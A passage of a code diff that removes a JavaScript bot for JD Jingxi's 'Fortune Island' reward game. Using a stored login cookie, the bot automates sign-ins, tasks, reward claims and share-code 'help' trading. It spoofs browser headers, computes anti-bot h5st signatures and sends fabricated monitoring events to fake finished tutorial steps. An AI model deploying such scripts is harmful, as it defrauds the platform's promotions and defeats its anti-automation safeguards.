console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} querystorageroom API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(`\n卖贝壳`) - let bags = [] - for (let key of Object.keys(data.Data.Office)) { - let vo = data.Data.Office[key] - bags.push(vo.dwType) - bags.push(vo.dwCount) - } - if (bags.length !== 0) { - let strTypeCnt = '' - for (let j = 0; j < bags.length; j++) { - if (j % 2 === 0) { - strTypeCnt += `${bags[j]}:` - } else { - strTypeCnt += `${bags[j]}|` - } - } - await $.wait(2000) - await sellgoods(`strTypeCnt=${strTypeCnt}&dwSceneId=${dwSceneId}`) - } else { - console.log(`背包是空的,快去捡贝壳吧\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function sellgoods(body) { - return new Promise((resolve) => { - $.get(taskUrl(`story/sellgoods`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} sellgoods API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - console.log(`贝壳出售成功:获得${data.Data.ddwCoin}金币 ${data.Data.ddwMoney}财富\n`) - } else { - console.log(`贝壳出售失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 每日签到 -async function getTakeAggrPage(type) { - return new Promise(async (resolve) => { - switch (type) { - case 'sign': - $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(`\n每日签到`) - for (let key of Object.keys(data.Data.Sign.SignList)) { - let vo = data.Data.Sign.SignList[key] - if (vo.dwDayId === data.Data.Sign.dwTodayId) { - if (vo.dwStatus !== 1) { - const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` - await rewardSign(body) - await $.wait(2000) - } else { - console.log(`今日已签到\n`) - break - } - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - case 'wxsign': - $.get(taskUrl(`story/GetTakeAggrPage`, '', 6), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(`小程序每日签到`) - for (let key of Object.keys(data.Data.Sign.SignList)) { - let vo = data.Data.Sign.SignList[key] - if (vo.dwDayId === data.Data.Sign.dwTodayId) { - if (vo.dwStatus !== 1) { - const body = `ddwCoin=${vo.ddwCoin}&ddwMoney=${vo.ddwMoney}&dwPrizeType=${vo.dwPrizeType}&strPrizePool=${vo.strPrizePool}&dwPrizeLv=${vo.dwBingoLevel}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}` - await rewardSign(body, 6) - await $.wait(2000) - } else { - console.log(`今日已签到\n`) - break - } - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - case 'helpdraw': - $.get(taskUrl(`story/GetTakeAggrPage`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetTakeAggrPage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(`领助力奖励`) - let helpNum = [] - for (let key of Object.keys(data.Data.Employee.EmployeeList)) { - let vo = data.Data.Employee.EmployeeList[key] - if (vo.dwStatus !== 1) { - helpNum.push(vo.dwId) - } - } - if (helpNum.length !== 0) { - for (let j = 0; j < helpNum.length; j++) { - await helpdraw(helpNum[j]) - await $.wait(2000) - } - } else { - console.log(`暂无可领助力奖励`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - default: - break - } - }) -} -function rewardSign(body, dwEnv = 7) { - return new Promise((resolve) => { - $.get(taskUrl(`story/RewardSign`, body, dwEnv), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RewardSign API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0 || data.sErrMsg === "success") { - if (data.Data.ddwCoin) { - console.log(`签到成功:获得${data.Data.ddwCoin}金币\n`) - } else if (data.Data.ddwMoney) { - console.log(`签到成功:获得${data.Data.ddwMoney}财富\n`) - } else if (data.Data.strPrizeName) { - console.log(`签到成功:获得${data.Data.strPrizeName}\n`) - } else { - console.log(`签到成功:很遗憾未中奖~\n`) - } - } else { - console.log(`签到失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function helpdraw(dwUserId) { - return new Promise((resolve) => { - $.get(taskUrl(`story/helpdraw`, `dwUserId=${dwUserId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpdraw API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0 || data.sErrMsg === "success") { - if (data.Data.StagePrizeInfo) { - console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币 ${data.Data.StagePrizeInfo.ddwMoney}财富 ${(data.Data.StagePrizeInfo.strPrizeName && !data.Data.StagePrizeInfo.ddwMoney) ? data.Data.StagePrizeInfo.strPrizeName : `0元`}红包`) - } else { - console.log(`领取助力奖励成功:获得${data.Data.ddwCoin}金币`) - } - } else { - console.log(`领取助力奖励失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 倒垃圾 -async function queryRubbishInfo() { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/QueryRubbishInfo`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryRubbishInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(`倒垃圾`) - if (data.Data.StoryInfo.StoryList.length !== 0) { - for (let key of Object.keys(data.Data.StoryInfo.StoryList)) { - let vo = data.Data.StoryInfo.StoryList[key] - if (vo.Rubbish) { - await $.wait(2000) - let rubbishOperRes = await rubbishOper('1') - if (Object.keys(rubbishOperRes.Data.ThrowRubbish.Game).length) { - console.log(`获取垃圾信息成功:本次需要垃圾分类`) - for (let key of Object.keys(rubbishOperRes.Data.ThrowRubbish.Game.RubbishList)) { - let vo = rubbishOperRes.Data.ThrowRubbish.Game.RubbishList[key] - await $.wait(2000) - var rubbishOperTwoRes = await rubbishOper('2', `dwRubbishId=${vo.dwId}`) - } - if (rubbishOperTwoRes.iRet === 0) { - let AllRubbish = rubbishOperTwoRes.Data.RubbishGame.AllRubbish - console.log(`倒垃圾成功:获得${AllRubbish.ddwCoin}金币 ${AllRubbish.ddwMoney}财富\n`) - } else { - console.log(`倒垃圾失败:${rubbishOperTwoRes.sErrMsg}\n`) - } - } else { - console.log(`获取垃圾信息成功:本次不需要垃圾分类`) - if (rubbishOperRes.iRet === 0 || rubbishOperRes.sErrMsg === "success") { - console.log(`倒垃圾成功:获得${rubbishOperRes.Data.ThrowRubbish.ddwCoin}金币\n`) - } else { - console.log(`倒垃圾失败:${rubbishOperRes.sErrMsg}\n`) - } - } - } else { - console.log(`当前暂无垃圾\n`) - } - } - } else { - console.log(`当前暂无垃圾\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function rubbishOper(dwType, body = '') { - return new Promise((resolve) => { - switch(dwType) { - case '1': - $.get(taskUrl(`story/RubbishOper`, `dwType=1&dwRewardType=0`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - break - case '2': - $.get(taskUrl(`story/RubbishOper`, `dwType=2&dwRewardType=0&${body}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} RubbishOper API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - break - default: - break - } - }) -} - -// 牛牛任务 -async function getActTask(type = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`story/GetActTask`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetActTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (type) { - for (let key of Object.keys(data.Data.TaskList)) { - let vo = data.Data.TaskList[key] - if ([1, 2].includes(vo.dwOrderId) && (vo.dwCompleteNum !== vo.dwTargetNum) && vo.dwTargetNum < 10) { - console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) - for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { - console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) - await doTask(vo.ddwTaskId, 2) - await $.wait(2000) - } - } - } - data = await getActTask(false) - for (let key of Object.keys(data.Data.TaskList)) { - let vo = data.Data.TaskList[key] - if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { - await awardActTask('Award', vo) - await $.wait(2000) - } - } - data = await getActTask(false) - if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { - if (data.Data.dwStatus !== 4) { - console.log(`【🐮牛牛任务】已做完,去开启宝箱`) - await awardActTask('story/ActTaskAward') - await $.wait(2000) - } else { - console.log(`【🐮牛牛任务】已做完,宝箱已开启`) - } - } else { - console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data) - } - }) - }) -} -function awardActTask(function_path, taskInfo = '') { - const { ddwTaskId, strTaskName} = taskInfo - return new Promise((resolve) => { - switch (function_path) { - case 'Award': - $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); - let str = ''; - if (msg.indexOf('活动太火爆了') !== -1) { - str = '任务为成就任务或者未到任务时间'; - } else { - str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; - } - console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - case 'story/ActTaskAward': - $.get(taskUrl(function_path), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) - } else { - console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - break - default: - break - } - }) -} - -// 导游 -async function employTourGuideInfo() { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/EmployTourGuideInfo`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} EmployTourGuideInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - console.log(`雇导游`) - let minProductCoin = data.TourGuideList[0].ddwProductCoin - for(let key of Object.keys(data.TourGuideList)) { - let vo = data.TourGuideList[key] - if (vo.ddwProductCoin < minProductCoin) { - minProductCoin = vo.ddwProductCoin - } - } - for(let key of Object.keys(data.TourGuideList)) { - let vo = data.TourGuideList[key] - let buildNmae; - switch(vo.strBuildIndex) { - case 'food': - buildNmae = '京喜美食城' - break - case 'sea': - buildNmae = '京喜旅馆' - break - case 'shop': - buildNmae = '京喜商店' - break - case 'fun': - buildNmae = '京喜游乐场' - default: - break - } - if(vo.ddwRemainTm === 0 && vo.ddwProductCoin !== minProductCoin) { - let dwIsFree; - if(vo.dwFreeMin !== 0) { - dwIsFree = 1 - } else { - dwIsFree = 0 - } - console.log(`【${buildNmae}】雇佣费用:${vo.ddwCostCoin}金币 增加收益:${vo.ddwProductCoin}金币`) - const body = `strBuildIndex=${vo.strBuildIndex}&dwIsFree=${dwIsFree}&ddwConsumeCoin=${vo.ddwCostCoin}` - await employTourGuide(body, buildNmae) - } else if (vo.ddwProductCoin !== minProductCoin) { - console.log(`【${buildNmae}】无可雇佣导游`) - } - await $.wait(2000) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function employTourGuide(body, buildNmae) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/EmployTourGuide`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} EmployTourGuide API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) { - console.log(`【${buildNmae}】雇佣导游成功`) - } else { - console.log(`【${buildNmae}】雇佣导游失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 升级建筑 -async function getBuildInfo(body, buildList, type = true) { - let twobody = body - return new Promise(async (resolve) => { - $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (type) { - let buildNmae; - switch(buildList.strBuildIndex) { - case 'food': - buildNmae = '京喜美食城' - break - case 'sea': - buildNmae = '京喜旅馆' - break - case 'shop': - buildNmae = '京喜商店' - break - case 'fun': - buildNmae = '京喜游乐场' - default: - break - } - if (data.dwBuildLvl === 0) { - console.log(`创建建筑`) - console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) - await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) - await $.wait(2000) - data = await getBuildInfo(twobody, buildList, false) - await $.wait(2000) - } - console.log(`收金币`) - const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` - let collectCoinRes = await collectCoin(body) - console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) - await $.wait(2000) - await getUserInfo(false) - console.log(`升级建筑`) - console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) - console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) - if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { - console.log(`【${buildNmae}】满足升级条件,开始升级`) - const body = `ddwCostCoin=${data.ddwNextLvlCostCoin}&strBuildIndex=${data.strBuildIndex}` - let buildLvlUpRes = await buildLvlUp(body) - if (buildLvlUpRes.iRet === 0) { - console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) - } else { - console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) - } - } else { - console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) - } - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function collectCoin(body) { - return new Promise((resolve) => { - $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function buildLvlUp(body) { - return new Promise((resolve) => { - $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function createbuilding(body, buildNmae) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -// 助力 -function helpByStage(shareCodes) { - return new Promise((resolve) => { - $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - if (data.iRet === 0 || data.sErrMsg === 'success') { - console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) - } else if (data.iRet === 2232 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { - console.log(`助力失败:${data.sErrMsg}`) - $.canHelp = false - } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { - console.log(`助力失败:您的账号或被助力的账号可能已黑,请联系客服`) - num++ - if (num === 5) $.canHelp = false - } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { - console.log(`助力失败:${data.sErrMsg}`) - $.delcode = true - } else { - console.log(`助力失败:${data.sErrMsg}`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - resolve(JSON.parse(data)) - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(10000) - resolve(); - }) -} - -// 获取用户信息 -function getUserInfo(showInvite = true) { - return new Promise(async (resolve) => { - $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${escape('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task')}&strPgUUNum=${token['farm_jstoken']}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}`), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - const { - buildInfo = {}, - ddwRichBalance, - ddwCoinBalance, - sErrMsg, - strMyShareId, - dwLandLvl, - LeadInfo = {}, - StoryInfo = {}, - Business = {}, - XbStatus = {} - } = data; - if (showInvite) { - console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); - console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) - } - if (showInvite && strMyShareId) { - console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); - $.shareCodes.push(strMyShareId) - await uploadShareCode(strMyShareId) - } - $.info = { - ...$.info, - buildInfo, - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - dwLandLvl, - LeadInfo, - StoryInfo, - XbStatus - }; - resolve({ - buildInfo, - ddwRichBalance, - ddwCoinBalance, - strMyShareId, - LeadInfo, - StoryInfo, - XbStatus - }); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -//任务 -function getTaskList(taskType) { - return new Promise(async (resolve) => { - switch (taskType){ - case 0: //日常任务 - $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) - } else { - const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); - $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); - if($.allTask.length === 0) { - console.log(`【📆日常任务】已做完`) - } else { - console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break; - case 1: //成就任务 - $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) - } else { - const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data); - $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); - if($.allTask.length === 0) { - console.log(`【🎖成就任务】没有可领奖的任务\n`) - } else { - console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break; - default: - break; - } - }); -} - -//浏览任务 + 做任务 + 领取奖励 -function browserTask(taskType) { - return new Promise(async (resolve) => { - switch (taskType) { - case 0://日常任务 - for (let i = 0; i < $.allTask.length; i++) { - const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes - const taskinfo = $.allTask[i]; - console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); - for (let i = start; i < end; i++) { - //做任务 - console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) - await doTask(taskinfo.taskId); - await $.wait(2000); - } - //领取奖励 - await awardTask(0, taskinfo); - } - break; - case 1://成就任务 - for (let i = 0; i < $.allTask.length; i++) { - const taskinfo = $.allTask[i]; - console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); - if(taskinfo.completedTimes < taskinfo.targetTimes){ - console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); - } else { - //领奖励 - await awardTask(1, taskinfo); - await $.wait(2000); - } - } - break; - default: - break; - } - resolve(); - }); -} - -//做任务 -function doTask(taskId, type = 1) { - return new Promise(async (resolve) => { - switch (type) { - case 1: - $.get(taskListUrl(`DoTask`, `taskId=${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} DoTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - break - case 2: - $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, `jxbfddch`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} DoTask API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - default: - break - } - }) -} - -//领取奖励 -function awardTask(taskType, taskinfo) { - return new Promise((resolve) => { - const {taskId, taskName} = taskinfo; - switch (taskType) { - case 0://日常任务 - $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} Award API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); - let str = ''; - if (msg.indexOf('活动太火爆了') !== -1) { - str = '任务为成就任务或者未到任务时间'; - } else { - str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; - } - console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break - case 1://成就奖励 - $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) - } else { - const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data); - if(msg.indexOf('活动太火爆了') !== -1) { - console.log(`活动太火爆了`) - } else { - console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - break - default: - break - } - }); -} - -// 新手任务 -async function noviceTask(){ - let body = `` - await init(`user/guideuser`, body) - body = `strMark=guider_step&strValue=welcom&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_over_flag&strValue=999&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=gift_redpack&dwType=2` - await init(`user/SetMark`, body) - body = `strMark=guider_step&strValue=none&dwType=2` - await init(`user/SetMark`, body) -} -async function init(function_path, body) { - return new Promise(async (resolve) => { - $.get(taskUrl(function_path, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} init API请求失败,请检查网路重试`) - } else { - if (function_path == "user/SetMark") opId = 23 - if (function_path == "user/guideuser") opId = 27 - data = JSON.parse(data); - contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` - await biz(contents) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} -function biz(contents){ - return new Promise(async (resolve) => { - let option = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: 'm.jingxi.com', - "User-Agent": UA, - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - } - } - $.get(option, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }) - }) -} - -function taskUrl(function_path, body = '', dwEnv = 7) { - let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CddwTaskId%2CdwEnv%2Cptag%2Csource%2CstrShareId%2CstrZone&_ste=1`; - url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; - return { - url, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: "m.jingxi.com", - "User-Agent": UA, - "Accept-Language": "zh-cn", - }, - timeout: 10000 - }; -} - -function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { - let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=138631.26.55&${body}&_stk=_cfd_t%2CbizCode%2CconfigExtra%2CdwEnv%2Cptag%2Csource%2CstrZone%2CtaskId&_ste=1`; - url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&g_ty=ls`; - return { - url, - headers: { - Cookie: cookie, - Accept: "*/*", - Connection: "keep-alive", - Referer:"https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", - "Accept-Encoding": "gzip, deflate, br", - Host: "m.jingxi.com", - "User-Agent": UA, - "Accept-Language": "zh-cn", - }, - timeout: 10000 - }; -} - -function randomString(e) { - e = e || 32; - let t = "0123456789abcdef", a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function showMsg() { - return new Promise(async (resolve) => { - if ($.result.length) { - if ($.notifyTime) { - const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); - const now = $.time("HH:mm").split(":"); - console.log(`\n${JSON.stringify(notifyTimes)}`); - console.log(`\n${JSON.stringify(now)}`); - if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { - $.msg($.name, "", `${$.result.join("\n")}`); - } - } else { - $.msg($.name, "", `${$.result.join("\n")}`); - } - - if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, 